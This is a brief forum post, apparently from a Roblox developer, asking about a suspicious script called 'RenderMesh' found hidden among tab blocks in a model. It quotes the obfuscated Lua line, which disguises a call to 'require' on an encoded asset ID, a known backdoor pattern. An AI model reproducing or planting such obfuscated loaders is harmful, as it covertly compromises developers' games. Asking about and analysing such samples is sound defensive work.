So I came across this script in a model which looked like a backdoor, and it was blank tabs with bits of code inbetween the huge blocks of tabs. Here is the code with the tabs removed:
getfenv()[string.reverse("\101\114\105\117\113\101\114")](getfenv()["\116\111\110\117\109\98\101\114"](string["\99\104\97\114"](getfenv()["\117\110\112\97\99\107"]{48,88,67,67,52,48,67,69,65,49})))
The name of the script is RenderMesh and when I try to print what it does, it crashes studio.